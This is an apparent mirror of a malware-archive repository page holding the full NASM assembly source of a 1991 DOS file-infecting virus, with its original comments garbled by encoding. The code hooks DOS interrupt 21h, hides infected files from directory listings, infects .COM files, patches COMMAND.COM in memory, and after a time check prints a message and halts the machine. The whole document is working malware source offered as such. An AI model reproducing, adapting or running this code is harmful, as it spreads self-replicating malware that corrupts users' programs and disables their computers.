mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
269 lines
6.7 KiB
NASM
269 lines
6.7 KiB
NASM
|
||
;************************************************************************;
|
||
;* T®§¨ Virus ¥ ¯° ¢¥ 25.10.1991 £. ¢ *;
|
||
;* *;
|
||
;* ‘“ " ‘¢. Š«¨¬¥² Žµ°¨¤±ª¨ " ¢ 17:18.30 hour *;
|
||
;* *;
|
||
;* ±² ¿ 316 ”.Œ.ˆ. *;
|
||
;************************************************************************;
|
||
|
||
start: jmp short begin
|
||
db (00h)
|
||
db (53h) ; ‡ ° §¯®§ ¢ ¥ ¢¨°³±
|
||
db (4bh) ; „ «¨ ´ ©« ¥ § ° §¥
|
||
int 20h
|
||
okey: db (0b8h)
|
||
db (03h)
|
||
db (00h)
|
||
db (0cdh)
|
||
db (10h)
|
||
|
||
begin: push cx ;
|
||
CALL F1 ;
|
||
F1: POP SI ; ‡ ¢º§±² ®¢¿¢ ¥ ¯º°¢¨²¥ 5 ¡ ©²
|
||
SUB SI,09 ;
|
||
PUSH SI ;
|
||
cld ;
|
||
mov di,100h ;
|
||
mov cx,5 ;
|
||
rep movsb ;
|
||
jmp ding2
|
||
|
||
new21: pushf ; CALL ªº¬ ®°¨£¨ «®²® INT 21h
|
||
push cs ; IBMDOS.COM - ± ¶¥« ¤ ¥ ²¥ µ¢ -
|
||
call Word ptr cs:[8c0h] ; ² ¿ª®© ¯°®£° ¬¨ § ¢¨°³±¨
|
||
ret ; ª ²® Anti4us.exe, NDD ¨ ²..
|
||
|
||
int21h: STI
|
||
cmp ah,4bh ; <20>°¨ ±² °²¨° ¥ ´ ©«
|
||
jz mm ;
|
||
cmp ah,11h ; <20>°¨ ²º°±¥¥ ¯º°¢¨ ¨ ¢²®°¨ ´ ©«
|
||
jz home ; ± ¶¥« ¯°¨ DIR ¤ ±ª°¨¢ ¢¨°³± .
|
||
cmp ah,12h ;
|
||
jz home
|
||
jmp int1hh
|
||
|
||
home: call new21 ; <20>°®¶¥¤³° ª ²® ¯°¨ DIR ¯°®¢¥°¿¢
|
||
push ax ; ¤ «¨ · ± ¥ 10:26 ¨ , ª® ¥ § ·¨
|
||
push bx ; ´ ©« ¥ § ° §¥ ¨ ¨§¢ ¦¤ ¤º«¦¨ -
|
||
push es ; ² ¢¨°³± ¤ ¥ ±¥ § ¡¥«¿§¢
|
||
; ®£®«¥¬¿¢ ¥²® ´ ©« .
|
||
mov ah,2fh ; ‚§¥¬ DTA ¢ ES:BX . — ± ¥ ¢ bx+1eh
|
||
call new21 ; ’³ª ¥ 10:26 ;
|
||
mov ax,534bh
|
||
cmp Word ptr es:[bx+1eh],ax
|
||
jnz ox
|
||
mov ax,End-Okey+3
|
||
sub Word ptr es:[bx+24h],ax
|
||
ox: pop es ; €ª® ¥ ¥ 10:26 , ²® § ·¨ ¿¬ ¸
|
||
pop bx ; ¢¨°³± ¨ ¿¬ ¤ ¬ «¨ · ± ±
|
||
pop ax ; ¥®¡µ®¤¨¬¨²¥ ¡ ©²®¢¥ ¨«¨ ¤º«-
|
||
db (0CAh) ; ¦¨ ² ¢¨°³± ¢ ±«³·¥¿.
|
||
dw (2)
|
||
|
||
;****************************************************;
|
||
;* ‡ ° § ¿ ¢ ¥ *;
|
||
;****************************************************;
|
||
|
||
mm: pushf
|
||
PUSH AX
|
||
PUSH BX
|
||
PUSH CX
|
||
PUSH DX
|
||
PUSH DS
|
||
PUSH ES
|
||
PUSH SI
|
||
PUSH DI
|
||
xor ax,ax
|
||
mov ds,ax
|
||
mov di,[0194h]
|
||
mov es,[0196h]
|
||
mov ax,[004ch]
|
||
mov bx,[004eh]
|
||
mov cx,0f000h
|
||
mov dx,0ec59h
|
||
mov [0100h],dx
|
||
mov [0102h],cx
|
||
mov [0198h],ax
|
||
mov [019ah],bx
|
||
mov [004ch],di
|
||
mov [004eh],es
|
||
mov ax,0a15h+new24-begin
|
||
push cs
|
||
pop ds
|
||
push cs
|
||
pop es
|
||
mov ah,2ch
|
||
call new21
|
||
cmp cx,0200h
|
||
jna mm1
|
||
mov ax,0003h
|
||
int 10h
|
||
mov ah,09h
|
||
mov dx,0a15h+n-begin
|
||
call new21
|
||
cli
|
||
hlt
|
||
|
||
dinge: jmp ding
|
||
|
||
mm1: mov ah,2fh ;Dos service function ah=2FH (get DTA)
|
||
call new21
|
||
mov cs:[8b0h],es
|
||
mov cs:[8b2h],bx
|
||
MOV AH,4eH
|
||
MOV DX,0a10h+files-okey
|
||
mov cx,0
|
||
call new21
|
||
jc dinge ;CX File attribute
|
||
;DS:DX Pointer of filespec (ASCIIZ string)
|
||
vir: mov ax,534bh
|
||
cmp es:[bx+16h],ax
|
||
jnz fuck
|
||
vir1: mov ah,4fh
|
||
call new21
|
||
jc enzi
|
||
jmp short vir
|
||
enzi: jmp ding
|
||
fuck: mov cx,1500
|
||
cmp es:[bx+1ah],cx
|
||
jna vir1
|
||
fuck1: push es
|
||
pop ds
|
||
mov ax,3d02h
|
||
mov dx,bx
|
||
add dx,1eh
|
||
call new21
|
||
mov cs:[0a10h+handle-okey],ax
|
||
mov bx,ax
|
||
push cs
|
||
pop ds
|
||
mov ah,3fh
|
||
mov dx,0a10h
|
||
mov cx,5
|
||
call new21
|
||
mov di,0a10h+end-okey
|
||
mov al,0e9h
|
||
mov [di],al
|
||
inc di
|
||
mov bx,[8b2h]
|
||
mov cx,es:[bx+1ah]
|
||
inc cx
|
||
inc cx
|
||
mov [di],cx
|
||
inc di
|
||
inc di
|
||
mov ax,534bh
|
||
mov [di],ax
|
||
mov bx,cs:[0a10h+handle-okey]
|
||
mov ax,4200h
|
||
xor cx,cx
|
||
xor dx,dx
|
||
call new21
|
||
mov ah,40h
|
||
mov dx,0a10h+end-okey
|
||
mov cx,5
|
||
call new21
|
||
mov ax,4202h
|
||
xor cx,cx
|
||
xor dx,dx
|
||
call new21
|
||
push cs
|
||
pop ds
|
||
mov bx,cs:[0a10h+handle-okey]
|
||
mov ah,40h
|
||
mov dx,0a10h
|
||
mov cx,end-okey-3
|
||
call new21
|
||
mov bx,cs:[0a10h+handle-okey]
|
||
mov ax,5700h
|
||
call new21
|
||
mov ax,5701h
|
||
mov cx,534bh
|
||
call new21
|
||
mov ah,3eh
|
||
call new21
|
||
ding: xor ax,ax
|
||
mov ds,ax
|
||
mov ax,[0198h]
|
||
mov bx,[019ah]
|
||
mov [004ch],ax
|
||
mov [004eh],bx
|
||
POP DI
|
||
POP SI
|
||
POP ES
|
||
POP DS
|
||
POP DX
|
||
POP CX
|
||
POP BX
|
||
POP AX
|
||
popf
|
||
|
||
int1hh: jmp word ptr cs:[8c0h] ; <20>°¥ªº±¢ ¥ 21<32>
|
||
|
||
files: db '*.com',0 ; ‡ ° §¿¢ ± ¬® COM ´ ©«®¢¥
|
||
|
||
new24: mov al,03 ; Int 24h ¤ ¥ ¤ ¢ Write Protect
|
||
iret
|
||
|
||
ding2: MOV AX,0070h ; ‚«¨§ ¢ ±¥£¬¥ 0070h: ¨ ¯°¥²º°±¢
|
||
MOV ES,AX ; § ¥®¡µ®¤¨¬¨²¥ ¡ ©²®¢¥ INT13H
|
||
MOV DI,0000h
|
||
MOV AX,80FBh
|
||
non1: CLD
|
||
MOV CX,0FFFFh
|
||
non2: REPNZ SCASW
|
||
JZ non
|
||
MOV DI,0001h
|
||
JMP non1
|
||
non: MOV BX,02FCh
|
||
CMP ES:[DI],BX
|
||
JNZ non2
|
||
DEC DI
|
||
DEC DI
|
||
xor ax,ax ; <20> £« ±¿ ®¢®²® ¯°¥ªº±¢ ¥ INT13H ¨
|
||
mov ds,ax ; ¨ ±¥ ¯®¤£®²¢¿ § ° ¡®²
|
||
mov [0194h],di
|
||
mov [0196h],es
|
||
mov es,[009eh]
|
||
mov bx,[00a0h]
|
||
push cs
|
||
pop ds
|
||
MOV BP,DS
|
||
pop si
|
||
push si ; <20>°¥µ¢º°«¿ ¢¨°³± ¢ ±²¥ª
|
||
MOV DI,0a10h ; COMMAND.COM
|
||
MOV CX,Handle-Okey ; € ±º¹® ² ª ¨ ¯®¤£®²¢¿
|
||
REP MOVSB ; ¢¨°³± ¤®¡°¥ ¤ ±¥ ³ª°¥¯¨
|
||
PUSH ES ; ¨ ®¯«¥²¥ ± Int 21h
|
||
LEA DI,[BX+1bh]
|
||
MOV AL,0e9h
|
||
STOSB
|
||
MOV AX,0A30h
|
||
SUB AX,DI
|
||
STOSW
|
||
MOV AX,9090H
|
||
STOSW
|
||
STOSW
|
||
MOV ES:[8c0h],DI
|
||
MOV AX,SS
|
||
SUB AX,0018h
|
||
CLI
|
||
MOV SS,AX
|
||
STI
|
||
MOV DS,BP
|
||
POP ES
|
||
pop si
|
||
pop cx
|
||
xor ax,ax
|
||
xor bx,bx
|
||
xor dx,dx
|
||
xor si,si
|
||
mov di,100h
|
||
push di
|
||
xor di,di
|
||
ret
|
||
n: db "K.I.I.S.ø ",024h ; ’®§¨ ²¥±² ±¥ ®²¯¥· ²¢ ±«¥¤ 2 · ± .
|
||
handle: dw ? ; € ±º¹® ² ª ¡«®ª¨° ª®¬¯¾²º° .
|
||
end: db (00)
|
||
|